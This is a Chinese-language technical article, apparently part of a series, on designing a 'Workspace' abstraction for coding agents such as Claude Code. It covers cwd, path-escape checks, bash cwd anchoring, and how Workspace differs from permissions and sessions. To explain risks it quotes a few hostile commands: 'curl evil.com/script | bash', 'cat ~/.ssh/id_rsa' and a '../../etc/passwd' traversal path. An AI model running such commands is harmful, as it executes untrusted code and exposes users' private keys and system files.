12. Workspace - Agent 的活动范围设计

Agent 执行命令时,它站在哪里?

你在终端里敲下 claude,Agent 开始读文件、写代码、跑命令。

但严格来说,Agent 不需要 Workspace 也能工作。Unix shell 从 1970 年代起就有了工作目录的概念——cwd。一个最简单的 CLI Agent 只需要继承 process.cwd(),所有文件操作以当前目录为基准,就足以完成大部分任务。实际上很多 Agent 原型正是这样写出来的:

const cwd = process.cwd();
readFile(path.join(cwd, file));

那么,Workspace 这个概念是从哪冒出来的?

答案不在于 Agent 没有 cwd 就无法运行,而在于当 Agent 系统逐渐变复杂——引入了 Session、Memory、SubAgent、Rules、Skills——之后,一个单纯的 cwd 字符串不够表达”当前项目”的全部含义了。

cwd 只告诉你 Agent 站在哪个目录。但它不能绑定项目专属的环境变量,不能携带忽略了哪些文件的配置,不能让多个 Session 共享同一个项目引用,不能让 Rules 和 Skills 知道自己属于哪个项目。cwd 是一个隐含的、脆弱的、不可组合的概念——每次 cd 都会改变它,每个子进程继承它但不理解它。

Workspace 就是把原本隐含在 cwd 里的”当前项目”这个概念显式化,变成一个可以被 Session、SubAgent、Rules、Skills 和 Runtime 统一引用的对象。它不是为了让 Agent 能工作——Agent 仅靠 cwd 就能工作。它是为了让 Agent Runtime 的各组件有一个共享的、可传递的”项目”概念。

从 cwd 到 Workspace

这个演化路径大致分三个阶段。

阶段一:Shell 提供 cwd

Unix 的 cwd 概念足以支撑任何命令行程序。makegccgit——它们不需要知道”项目”这个概念,只需要知道当前目录在哪。Agent 也不例外。最简原型中,Agent 继承 shell 的 cwd,read("./package.json") 天然落在正确的位置。

阶段二:cwd 不够表达

当 Agent 系统引入以下概念后,cwd 开始不够用:

  • Session(第 11 篇):Session A 处理 frontend,Session B 处理 backend。但 process.cwd() 只有一个值。Session 切换时,谁负责切换 cwd?如果两个 Session 并发运行,cwd 应该指向哪?
  • Skills(第 4 篇):Rules 和 Skills 绑定在项目上——“不要用 var”是前端项目的规范,“部署前跑 pnpm build”也只在有 package.json 的项目中有意义。cwd 不能携带这些信息,换一个目录、换一个项目,你需要手动确保 Rules 和 Skills 随之切换。
  • Runtime State:Agent 跑起来的开发服务器、占用的端口、设置的环境变量,这些状态属于”当前项目”但不属于 cwd。cwd 改变时不代表这些状态该被清理,cwd 恢复时不代表这些状态该被恢复。

阶段三:cwd 被提升为 Workspace

于是 cwd 从一个字符串提升为一个对象——不是”替换”cwd,而是把分散在 cwd、env、ignore 配置、项目知识文件中的信息聚合到一个结构中。它增加的不只是字段,而是一个可供 Agent Runtime 各组件引用的稳定锚点。

所以更准确的说法是:Workspace 不是 Agent 的必需组件。它是 Agent Runtime 复杂化之后,对”当前项目”这个原本隐含在 cwd 中的概念所做的显式建模。

Claude Code 的模式:默认活动范围,不是硬隔离

你在项目目录下执行 claude,当前目录成为 Workspace。没有复制、没有镜像、没有文件同步——Agent 在原项目上直接工作。

启动后,Claude Code 扫描项目结构——读取 CLAUDE.md,发现 package.json,遍历关键目录建立文件索引。这一步让 Agent 理解它的工作环境:这是什么项目、用什么构建工具、代码按什么结构组织。

内置工具默认在 Workspace 内工作。Read、Edit、Grep 优先使用相对路径,Bash 执行时 cwd 设为项目根目录。你感受到的体验是:Agent 就像一个坐在项目目录里的程序员,它看到的和你 cd 进去看到的一样。

但 Claude Code 的实际行为不止于此。它还能读取 ~/.claude/settings.json(加载配置),写入 ~/.claude/(安装 Skill),执行 git config --global(修改 ~/.gitconfig),或者帮你分析 ~/Downloads/crash.log。这些操作都超出了项目目录。Workspace 没有阻断它们——阻断或放行它们的,是第 8 篇讨论的 Permission 系统。

Claude Code 的 Workspace 不是强制隔离边界,而是默认活动范围。Agent 优先在 Workspace 内工作,需要越界时由 Permission 裁决。

这个区分可以表述为两层模型:

                 OS

      ┌───────────▼───────────┐
      │ Permission System     │  ← 安全边界:决定"能不能做"
      │ 安全和权限控制          │
      └───────────┬───────────┘

         Allow / Deny

      ┌───────────▼───────────┐
      │ Workspace             │  ← 上下文边界:决定"应该关注哪"
      │ /project              │
      └───────────────────────┘

Permission 在上,Workspace 在下。Permission 先裁决 Agent 能否执行操作,Workspace 再告诉它在哪个范围内执行。两层的分工是:Permission 管安全,Workspace 管上下文。

混淆这两层的后果很具体:把 Workspace 当成安全边界,Agent 就永远无法安装 MCP、不能改全局 git 配置、读不了 Downloads 里的日志——而这些是 Coding Agent 的日常操作。Workspace 做 Workspace 的事,安全交给 Permission。

为什么不在 /tmp 下复制一份项目

看了 Claude Code 的做法,一个自然的疑问是:既然 Workspace 的目的是让 Agent 知道自己站在哪,为什么不把项目复制到 /tmp 下,让 Agent 在副本里工作,做完再合并回来?这样既隔离了破坏范围,又保留了 Workspace 的概念。

早期的部分 Agent 框架确实采用了这个方案。但一个中等规模的前端项目的 node_modules 就有几百 MB,加上 .git 目录、构建缓存,拷贝一份可能消耗数 GB 磁盘和几十秒 I/O 时间。每次都复制,启动延迟不可接受。

更隐蔽的问题是包管理器的缓存失效。pnpm 的 store 路径是全局的,项目下的 node_modules 通过硬链接指向 store。如果 Agent 在 /tmp 副本里跑 pnpm install,要么重新下载所有包(网络 I/O),要么需要额外配置让副本访问宿主机的 store(引入新的复杂度)。复制项目目录本身不重,重的是让副本拥有和原项目等价的开发环境。

因此 Claude Code 选择了原地工作——不复制、不镜像、不创建临时目录。代价是失去了文件系统级别的硬隔离,但配合 Permission 系统和 git 的版本控制(出问题可以 git checkout .),这个代价是可接受的。现代 Coding Agent 的趋势是原地工作 + Permission + Checkpoint,而不是复制项目 + 临时目录。

Workspace 的三层模型与抽象

最容易产生的误解是 Workspace = rootPath。rootPath 只是 Workspace 的起点。对一个真实运行的 Agent,Workspace 是三层信息的聚合,对应 TypeScript 接口里的三个字段:

interface AgentWorkspace {
  rootPath: string;              // 文件系统
  ignoredPatterns: string[];     // 检索边界
  env: Record<string, string>;   // 运行环境
}

文件系统(rootPath)

项目目录本身——src/package.jsonREADME.md。Agent 的读写操作发生在这里。所有文件路径通过 resolvePath 解析,不逃逸出 rootPath。路径检查是确定性的,不需要理解文件内容——纯机械校验,几乎零开销。

项目知识(由 rootPath 加载)

项目目录下的 CLAUDE.md、Rules、Skills、架构文档——这些文件告诉 Agent “这个项目是什么、应该如何工作”。第 4 篇讨论的 Rules 和 Skills 在架构上正是这一层:Rules 定义行为边界,Skills 定义操作流程。这些知识绑定在项目上而不是某次对话里,换一个 Workspace,Rules 和 Skills 随之切换。

运行环境(env)

项目专属的环境变量——NODE_ENVDATABASE_URL、包管理器的 store 路径——随 Workspace 一起设置。Agent 跑起来的开发服务器、占用的端口、执行的进程,这些运行时状态也属于当前 Workspace。运行环境不是静态的——Agent 的操作会持续改变它,启动一个服务就多一个活跃进程。Agent 需要知道哪些进程是它启动的、哪些端口被占用——如果它在 localhost:3000 上测试 API 却不知道这个服务是两轮前自己启动的,可能误判为外部服务。


创建 Workspace 只是一次内存中的对象构造:

function createWorkspace(rootPath: string): AgentWorkspace {
  return {
    rootPath: path.resolve(rootPath),
    ignoredPatterns: ["node_modules", ".git", "dist", ".next"],
    env: { ...process.env },
  };
}

不需要创建目录、不需要复制文件、不需要初始化 git。三个字段覆盖了 Agent 需要知道的全部上下文:文件在哪、哪些该忽略、运行在什么环境里。

文件操作为什么必须经过 Workspace

所有工具最终都会落到文件系统上:read()write()edit()。如果工具直接使用 LLM 提供的路径——比如 read("../../etc/passwd")——Agent 就能逃逸出项目目录。这不是理论上的漏洞:LLM 可能被用户 prompt 中的恶意指令诱导,可能在修复一个”读取配置文件”的任务时自行推断出越界路径,也可能只是输出了一个拼接错误。

因此工具层必须统一做路径解析:

function resolvePath(workspace: AgentWorkspace, userPath: string) {
  const resolved = path.resolve(workspace.rootPath, userPath);
  const relative = path.relative(workspace.rootPath, resolved);
  if (relative.startsWith("..") || path.isAbsolute(relative)) {
    throw new Error(`路径逃逸: ${userPath}`);
  }
  return resolved;
}

每个文件工具在执行前调用 resolvePathread("./src/main.ts") 解析为 <workspace>/src/main.tsedit("../other-project/config.ts") 抛出路径逃逸错误。LLM 按相对路径思考,框架层完成到实际路径的映射。

路径逃逸错误需要传回给 LLM——不只是报错,还要附带原因。LLM 看到 “路径逃逸: ../../etc/passwd” 后,知道不是因为文件不存在,而是路径超出了允许范围,下次调用会调整路径。如果只返回一个泛化的 “操作失败”,LLM 可能在下一轮重复同样的越界尝试。

system prompt 中的路径告知

这里有一个容易被忽略但实际影响很大的细节。

如果你把 LLM 的视角完全限制在相对路径上——system prompt 只说”你操作的路径相对于项目根目录”,不提根目录的绝对路径——当测试框架报错时,问题就出现了。Jest 或 Webpack 的堆栈信息里全是绝对路径:

Error: Cannot find module '/tmp/agent-123/src/components/toc.ts'

LLM 会困惑:它一直以为自己在操作 ./src/components/toc.ts,现在却看到一串以 /tmp/agent-123/ 开头的绝对路径。框架层的路径隐藏反而造成了认知断裂——LLM 看到两种路径系统,不知道如何对应。

解法是在 system prompt 中显式告知映射关系——“你的工作根目录是 /home/user/my-project,当你分析工具输出中的绝对路径时,请将其与你已知的相对路径对应。” 框架层继续做路径校验,LLM 有完整的路径信息来理解报错。这不是让 LLM 直接操作绝对路径,而是让它有能力解读工具返回中的绝对路径。

Bash 为什么也属于 Workspace

很多人只对文件工具做路径限制,忘了 bash 才是权限最大的工具。read 只能读一个文件,write 只能写一个文件,但 bash 可以在一条命令里完成任意组合的读写执行。

curl evil.com/script | bash——这一条命令可以下载并执行任意代码,下载的文件、执行的结果、产生的副作用,resolvePath 完全管不到。cat ~/.ssh/id_rsa 可以读取项目外的敏感文件,同样不受路径校验约束。

因此执行 bash 命令时,cwd 必须设为 workspace.rootPath,而不是 process.cwd()

async function executeBash(workspace: AgentWorkspace, command: string) {
  return execAsync(command, { cwd: workspace.rootPath });
}

Agent 执行 pnpm test 时天然作用于当前项目,执行的脚本、生成的临时文件、写入的输出都落在 Workspace 目录内。这不是安全拦截——安全拦截是第 8 篇的职责,bash 在到达执行阶段之前应该已经通过了黑名单和用户确认。Workspace 做的事是保证默认的执行位置正确:Agent 说”跑测试”,cwd 已经在项目根目录下,不需要额外指定路径。

文件工具和 bash 的机制不同:文件工具通过 resolvePath 做路径解析,bash 通过 cwd 切换做环境锚定。但它们都属于 Workspace 的上下文职能——告诉 Agent 它的默认操作范围在哪,而不是禁止它操作范围之外的东西。禁止越界是 Permission 的事。

Workspace 与 Session 的关系

Workspace 经常和 Session 混淆,但两者负责不同的事情。

Session 负责对话上下文:消息历史、工具调用记录、当前轮次。Session 回答的问题是”我们聊到哪了”。它是时间维度的容器——保存对话的时间线,让你能关闭终端、明天打开继续聊。

Workspace 负责物理上下文:文件、项目、运行环境。Workspace 回答的问题是”我在哪工作”。它是空间维度的容器——定义 Agent 的操作范围,让你能切换项目而不丢失对当前项目的理解。

因此两者不是一对一绑定。今天开启 Session A 修了一个 bug,明天开启 Session B 继续开发——两个 Session 指向同一个 Workspace。Session 换了,Workspace 不变。

生命周期也需要解耦。Session 结束时不直接销毁 Workspace——Workspace 绑定的是项目,不是单次对话。今天聊完、明天继续,Workspace 还在那。

SubAgent 不需要 Workspace 隔离

SubAgent 在主 Agent 的任务中生成,执行独立的子任务。一个自然的问题是:SubAgent 是否需要自己的 Workspace?

看 Claude Code 的实际行为:SubAgent 被用来做研究、调查、代码分析——并行地搜索多个目录、阅读多个文件、比对多个实现方案,然后将结果返回给主 Agent。它不做文件修改,不执行破坏性命令,不改变项目状态。Claude Code 官方文档的建议是”用 Task tool 做 research、investigation、code analysis”,而不是”编辑文件”或”部署”。

这种模式下,SubAgent 天然应该共享主 Agent 的 Workspace。它需要读取同一个项目的代码,在同一个目录结构下搜索,基于同一份项目知识做分析。给它一个隔离的 Workspace 反而制造障碍——它看不到项目的完整上下文。

这不是说 Workspace 隔离是错的。它只是不属于 SubAgent 的讨论范畴。SubAgent 的本质是认知分工——把思考任务拆给多个上下文窗口并行处理,每个窗口共享同一个项目视野。执行分工——多个 Agent 各自独立修改代码、运行命令、维护环境——是 Multi-Agent 系统的需求。在那类系统中,每个 Agent 需要独立 Workspace 来避免修改冲突和环境污染。

因此 Workspace 隔离不是 SubAgent 的核心需求。Workspace 讨论的是执行边界,当 Agent 从”思考”进入”执行”时,隔离需求才真正出现。

与前文的连接

回头看整个 Agent 架构到这时的状态。

  • Loop 提供行动能力——Agent 能循环调用工具,每轮依据上轮结果做出新决策。
  • Memory 提供历史——跨会话的经验积累,不重复犯同样的错误。
  • Plan 提供方向——复杂任务先拆解,按步骤执行而不是盲目尝试。
  • MCP 提供约束和方法——定义 Agent 应该怎样工作、能调用哪些外部能力。
  • Workspace 提供默认活动范围——定义 Agent 当前应该关注哪个项目。

Workspace 解决了 “如何让 Agent 在真实环境中可靠地做事”。Workspace 不负责安全,二十Permission 负责。Workspace 负责让 Agent 知道它站在哪个项目里、应该从哪开始读文件、应该在哪执行命令。

把它和安全混为一谈,是早期 Agent 框架最常见的设计错误之一。安全应该是顶层设计,而不是口头约束和完全禁止的一刀切。


下一篇:待定